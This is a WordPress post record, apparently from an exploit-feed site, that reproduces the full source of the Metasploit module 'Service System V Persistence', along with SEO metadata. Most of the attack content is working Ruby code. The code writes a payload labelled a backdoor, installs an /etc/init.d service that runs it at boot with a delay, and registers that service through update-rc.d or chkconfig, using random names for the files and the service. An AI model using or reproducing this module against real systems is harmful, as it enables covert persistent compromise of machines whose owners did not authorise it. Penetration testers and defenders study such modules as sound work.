{"id":22142,"date":"2025-10-16T15:45:17","date_gmt":"2025-10-16T15:45:17","guid":{"rendered":"http:\/\/localhost\/?p=22142"},"modified":"2025-10-16T15:45:17","modified_gmt":"2025-10-16T15:45:17","slug":"service-system-v-persistence","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=22142","title":{"rendered":"Service System V Persistence_MSF:EXPLOIT-LINUX-PERSISTENCE-INIT_SYSVINIT-"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-10-16T19:43:05&#8243;,&#8221;description&#8221;:&#8221;This module will create a service via System V on the box, and mark it for auto-restart.           We need enough&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-10-16T18:57:32&#8243;,&#8221;modified&#8221;:&#8221;2025-10-16T18:57:32&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;Service System V Persistence&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:EXPLOIT-LINUX-PERSISTENCE-INIT_SYSVINIT-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n##\\n\\nclass MetasploitModule \\u003c Msf::Exploit::Local\\n  Rank = ExcellentRanking\\n\\n  include Msf::Post::File\\n  include Msf::Post::Unix\\n  include Msf::Exploit::EXE # for generate_payload_exe\\n  include Msf::Exploit::FileDropper\\n  include Msf::Exploit::Local::Persistence\\n  prepend Msf::Exploit::Remote::AutoCheck\\n  include Msf::Exploit::Deprecated\\n  moved_from &#8216;exploits\/linux\/local\/service_persistence&#8217;\\n\\n  def initialize(info = {})\\n    super(\\n      update_info(\\n        info,\\n        &#8216;Name&#8217; =\\u003e &#8216;Service System V Persistence&#8217;,\\n        &#8216;Description&#8217; =\\u003e %q{\\n          This module will create a service via System V on the box, and mark it for auto-restart.\\n          We need enough access to write service files and potentially restart services.\\n\\n          Some systems include backwards compatibility, such as Ubuntu up to about 16.04.\\n\\n          Targets:\\n          CentOS \\u003c= 5\\n          Debian \\u003c= 6\\n          Kali 2.0\\n          Ubuntu \\u003c= 6.06\\n          Note: System V won&#8217;t restart the service if it dies, only an init change (reboot etc) will restart it.\\n\\n          Verified on Kali 2.0, Ubuntu 10.04\\n        },\\n        &#8216;License&#8217; =\\u003e MSF_LICENSE,\\n        &#8216;Author&#8217; =\\u003e [\\n          &#8216;h00die&#8217;,\\n        ],\\n        &#8216;Platform&#8217; =\\u003e [&#8216;unix&#8217;, &#8216;linux&#8217;],\\n        &#8216;Targets&#8217; =\\u003e [\\n          [\\n            &#8216;System V&#8217;, {\\n              runlevel: &#8216;2 3 4 5&#8217;\\n            }\\n          ]\\n        ],\\n        &#8216;DefaultTarget&#8217; =\\u003e 0,\\n        &#8216;Arch&#8217; =\\u003e [\\n          ARCH_CMD,\\n          ARCH_X86,\\n          ARCH_X64,\\n          ARCH_ARMLE,\\n          ARCH_AARCH64,\\n          ARCH_PPC,\\n          ARCH_MIPSLE,\\n          ARCH_MIPSBE\\n        ],\\n        &#8216;References&#8217; =\\u003e [\\n          [&#8216;URL&#8217;, &#8216;https:\/\/www.digitalocean.com\/community\/tutorials\/how-to-configure-a-linux-service-to-start-automatically-after-a-crash-or-reboot-part-1-practical-examples&#8217;],\\n          [&#8216;ATT\\u0026CK&#8217;, Mitre::Attack::Technique::T1543_CREATE_OR_MODIFY_SYSTEM_PROCESS]\\n        ],\\n        &#8216;SessionTypes&#8217; =\\u003e [&#8216;shell&#8217;, &#8216;meterpreter&#8217;],\\n        &#8216;Privileged&#8217; =\\u003e true,\\n        &#8216;Notes&#8217; =\\u003e {\\n          &#8216;Stability&#8217; =\\u003e [CRASH_SAFE],\\n          &#8216;Reliability&#8217; =\\u003e [REPEATABLE_SESSION, EVENT_DEPENDENT],\\n          &#8216;SideEffects&#8217; =\\u003e [ARTIFACTS_ON_DISK, CONFIG_CHANGES]\\n        },\\n        &#8216;DisclosureDate&#8217; =\\u003e &#8216;1983-01-01&#8217; # system v release date\\n      )\\n    )\\n\\n    register_options(\\n      [\\n        OptString.new(&#8216;PAYLOAD_NAME&#8217;, [false, &#8216;Name of shell file to write&#8217;]),\\n        OptString.new(&#8216;SERVICE&#8217;, [false, &#8216;Name of service to create&#8217;])\\n      ]\\n    )\\n    register_advanced_options(\\n      [\\n        OptBool.new(&#8216;EnableService&#8217;, [true, &#8216;Enable the service&#8217;, true])\\n      ]\\n    )\\n  end\\n\\n  def check\\n    print_warning(&#8216;Payloads in \/tmp will only last until reboot, you want to choose elsewhere.&#8217;) if writable_dir.start_with?(&#8216;\/tmp&#8217;)\\n    return CheckCode::Safe(\\&#8221;#{writable_dir} isnt writable\\&#8221;) unless writable?(writable_dir)\\n    return CheckCode::Safe(&#8216;\/etc\/init.d\/ isnt writable&#8217;) unless writable?(&#8216;\/etc\/init.d\/&#8217;)\\n\\n    has_updatercd = command_exists?(&#8216;update-rc.d&#8217;)\\n    if has_updatercd || command_exists?(&#8216;chkconfig&#8217;) # centos 5\\n      return CheckCode::Appears(\\&#8221;#{writable_dir} is writable and system is System V based\\&#8221;)\\n    end\\n\\n    CheckCode::Safe(&#8216;Likely not a System V based system&#8217;)\\n  end\\n\\n  def install_persistence\\n    backdoor = write_shell(writable_dir)\\n\\n    path = backdoor.split(&#8216;\/&#8217;)[0&#8230;-1].join(&#8216;\/&#8217;)\\n    file = backdoor.split(&#8216;\/&#8217;)[-1]\\n\\n    system_v(path, file, target.opts[:runlevel], command_exists?(&#8216;update-rc.d&#8217;))\\n  end\\n\\n  def write_shell(path)\\n    file_name = datastore[&#8216;PAYLOAD_NAME&#8217;] || Rex::Text.rand_text_alpha(5..10)\\n    backdoor = \\&#8221;#{path}\/#{file_name}\\&#8221;\\n    vprint_status(\\&#8221;Writing backdoor to #{backdoor}\\&#8221;)\\n    if payload.arch.first == &#8216;cmd&#8217;\\n      write_file(backdoor, payload.encoded)\\n      chmod(backdoor, 0o755)\\n    else\\n      upload_and_chmodx backdoor, generate_payload_exe\\n    end\\n    @clean_up_rc \\u003c\\u003c \\&#8221;rm #{backdoor}\\\\n\\&#8221;\\n\\n    if file_exist?(backdoor)\\n      chmod(backdoor, 0o711)\\n      return backdoor\\n    end\\n    fail_with(Failure::NoAccess, &#8216;File not written, check permissions.&#8217;)\\n  end\\n\\n  def system_v(backdoor_path, backdoor_file, runlevel, has_updatercd)\\n    if has_updatercd\\n      vprint_status(&#8216;Utilizing update-rc.d&#8217;)\\n    else\\n      vprint_status(&#8216;Utilizing chkconfig&#8217;)\\n    end\\n\\n    service_filename = datastore[&#8216;SERVICE&#8217;] || Rex::Text.rand_text_alpha(7..12)\\n\\n    script = \\u003c\\u003c~EOF\\n      #!\/bin\/sh\\n      ### BEGIN INIT INFO\\n      # Provides:          #{service_filename}\\n      # Required-Start:    $network\\n      # Required-Stop:     $network\\n      # Default-Start:     #{runlevel}\\n      # Default-Stop:      0 1 6\\n      # Short-Description: Start daemon at boot time\\n      # Description:       Enable service provided by daemon.\\n      ### END INIT INFO\\n      DIR=\\&#8221;#{backdoor_path}\\&#8221;\\n      CMD=\\&#8221;#{backdoor_file}\\&#8221;\\n      NAME=\\&#8221;$(basename \\&#8221;$0\\&#8221;)\\&#8221;\\n      PID_FILE=\\&#8221;\/var\/run\/$NAME.pid\\&#8221;\\n      STDOUT_LOG=\\&#8221;\/var\/log\/$NAME.log\\&#8221;\\n      STDERR_LOG=\\&#8221;\/var\/log\/$NAME.err\\&#8221;\\n      get_pid() {\\n          [ -f \\&#8221;$PID_FILE\\&#8221; ] \\u0026\\u0026 cat \\&#8221;$PID_FILE\\&#8221;\\n      }\\n      is_running() {\\n          PID=$(get_pid)\\n          [ -n \\&#8221;$PID\\&#8221; ] \\u0026\\u0026 kill -0 \\&#8221;$PID\\&#8221; 2\\u003e\/dev\/null\\n      }\\n      start_service() {\\n          if is_running; then\\n              echo \\&#8221;$NAME is already running.\\&#8221;\\n              return 0\\n          fi\\n          echo \\&#8221;Starting $NAME&#8230;\\&#8221;\\n          sleep 10 \\u0026\\u0026 $DIR\/$CMD \\u003e\\u003e \\&#8221;$STDOUT_LOG\\&#8221; 2\\u003e\\u003e \\&#8221;$STDERR_LOG\\&#8221; \\u0026\\n          echo $! \\u003e \\&#8221;$PID_FILE\\&#8221;\\n          sleep 1\\n          if is_running; then\\n              echo \\&#8221;$NAME started successfully.\\&#8221;\\n          else\\n              echo \\&#8221;Failed to start $NAME. Check logs: $STDOUT_LOG $STDERR_LOG\\&#8221;\\n              exit 1\\n          fi\\n      }\\n      stop_service() {\\n          if ! is_running; then\\n              echo \\&#8221;$NAME is not running.\\&#8221;\\n              return 0\\n          fi\\n          echo \\&#8221;Stopping $NAME&#8230;\\&#8221;\\n          kill \\&#8221;$(get_pid)\\&#8221; \\u0026\\u0026 rm -f \\&#8221;$PID_FILE\\&#8221;\\n          for i in $(seq 1 10); do\\n              if ! is_running; then\\n                  echo \\&#8221;$NAME stopped.\\&#8221;\\n                  return 0\\n              fi\\n              sleep 1\\n          done\\n          echo \\&#8221;Failed to stop $NAME.\\&#8221;\\n          exit 1\\n      }\\n      case \\&#8221;$1\\&#8221; in\\n          start) start_service ;;\\n          stop) stop_service ;;\\n          restart)\\n              stop_service\\n              start_service\\n              ;;\\n          status)\\n              if is_running; then\\n                  echo \\&#8221;$NAME is running.\\&#8221;\\n              else\\n                  echo \\&#8221;$NAME is stopped.\\&#8221;\\n                  exit 1\\n              fi\\n              ;;\\n          *)\\n              echo \\&#8221;Usage: $0 {start|stop|restart|status}\\&#8221;\\n              exit 1\\n              ;;\\n      esac\\n      exit 0\\n    EOF\\n\\n    service_name = \\&#8221;\/etc\/init.d\/#{service_filename}\\&#8221;\\n    vprint_status(\\&#8221;Writing service: #{service_name}\\&#8221;)\\n    write_file(service_name, script)\\n\\n    fail_with(Failure::NoAccess, &#8216;Service file not written, check permissions.&#8217;) unless file_exist?(service_name)\\n\\n    @clean_up_rc \\u003c\\u003c \\&#8221;rm #{service_name}\\\\n\\&#8221;\\n    @clean_up_rc \\u003c\\u003c \\&#8221;rm \/var\/log\/#{service_name}.log\\\\n\\&#8221;\\n    @clean_up_rc \\u003c\\u003c \\&#8221;rm \/var\/log\/#{service_name}.err\\\\n\\&#8221;\\n    chmod(service_name, 0o755)\\n    print_good(&#8216;Enabling \\u0026 starting our service (10 second delay for payload)&#8217;)\\n    if has_updatercd\\n      cmd_exec(\\&#8221;update-rc.d #{service_filename} defaults\\&#8221;)\\n      cmd_exec(\\&#8221;update-rc.d #{service_filename} enable\\&#8221;)\\n      if file_exist?(&#8216;\/usr\/sbin\/service&#8217;) # some systems have update-rc.d but not service binary, have a fallback just in case\\n        cmd_exec(\\&#8221;service #{service_filename} start\\&#8221;)\\n      else\\n        cmd_exec(\\&#8221;\/etc\/init.d\/#{service_filename} start\\&#8221;)\\n      end\\n    else # CentOS\\n      cmd_exec(\\&#8221;chkconfig &#8211;add #{service_filename}\\&#8221;)\\n      cmd_exec(\\&#8221;chkconfig #{service_filename} on\\&#8221;)\\n      cmd_exec(\\&#8221;\/etc\/init.d\/#{service_filename} start\\&#8221;)\\n    end\\n  end\\nend\\n&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/exploits\/linux\/persistence\/init_sysvinit.rb&#8221;,&#8221;cvss&#8221;:{&#8220;score&#8221;:0,&#8221;severity&#8221;:&#8221;NONE&#8221;,&#8221;vector&#8221;:&#8221;NONE&#8221;,&#8221;version&#8221;:&#8221;NONE&#8221;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/www.rapid7.com\/db\/modules\/exploit\/linux\/persistence\/init_sysvinit\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-10-16T19:43:05&#8243;,&#8221;description&#8221;:&#8221;This module will create a service via System V on the box, and mark it for auto-restart. We need enough&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-10-16T18:57:32&#8243;,&#8221;modified&#8221;:&#8221;2025-10-16T18:57:32&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;Service System V Persistence&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:EXPLOIT-LINUX-PERSISTENCE-INIT_SYSVINIT-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;##\\n# This module&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,169,13,33,7,11,5],"class_list":["post-22142","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-metasploit","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Service System V Persistence_MSF:EXPLOIT-LINUX-PERSISTENCE-INIT_SYSVINIT- zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=22142\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Service System V Persistence_MSF:EXPLOIT-LINUX-PERSISTENCE-INIT_SYSVINIT- zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-10-16T19:43:05&#8243;,&#8221;description&#8221;:&#8221;This module will create a service via System V on the box, and mark it for auto-restart. We need enough&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-10-16T18:57:32&#8243;,&#8221;modified&#8221;:&#8221;2025-10-16T18:57:32&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;Service System V Persistence&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:EXPLOIT-LINUX-PERSISTENCE-INIT_SYSVINIT-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;##n# This module...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=22142\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-10-16T15:45:17+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"7 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=22142#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=22142\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"Service System V Persistence_MSF:EXPLOIT-LINUX-PERSISTENCE-INIT_SYSVINIT-\",\"datePublished\":\"2025-10-16T15:45:17+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=22142\"},\"wordCount\":1307,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"exploit\",\"metasploit\",\"news\",\"NONE\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=22142#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=22142\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=22142\",\"name\":\"Service System V Persistence_MSF:EXPLOIT-LINUX-PERSISTENCE-INIT_SYSVINIT- zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-10-16T15:45:17+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=22142#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=22142\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=22142#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Service System V Persistence_MSF:EXPLOIT-LINUX-PERSISTENCE-INIT_SYSVINIT-\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Service System V Persistence_MSF:EXPLOIT-LINUX-PERSISTENCE-INIT_SYSVINIT- zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=22142","og_locale":"en_US","og_type":"article","og_title":"Service System V Persistence_MSF:EXPLOIT-LINUX-PERSISTENCE-INIT_SYSVINIT- zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-10-16T19:43:05&#8243;,&#8221;description&#8221;:&#8221;This module will create a service via System V on the box, and mark it for auto-restart. We need enough&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-10-16T18:57:32&#8243;,&#8221;modified&#8221;:&#8221;2025-10-16T18:57:32&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;Service System V Persistence&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:EXPLOIT-LINUX-PERSISTENCE-INIT_SYSVINIT-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;##n# This module...","og_url":"https:\/\/zero.redgem.net\/?p=22142","og_site_name":"zero redgem","article_published_time":"2025-10-16T15:45:17+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"7 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=22142#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=22142"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"Service System V Persistence_MSF:EXPLOIT-LINUX-PERSISTENCE-INIT_SYSVINIT-","datePublished":"2025-10-16T15:45:17+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=22142"},"wordCount":1307,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","exploit","metasploit","news","NONE","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=22142#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=22142","url":"https:\/\/zero.redgem.net\/?p=22142","name":"Service System V Persistence_MSF:EXPLOIT-LINUX-PERSISTENCE-INIT_SYSVINIT- zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-10-16T15:45:17+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=22142#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=22142"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=22142#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"Service System V Persistence_MSF:EXPLOIT-LINUX-PERSISTENCE-INIT_SYSVINIT-"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/22142","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=22142"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/22142\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=22142"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=22142"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=22142"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}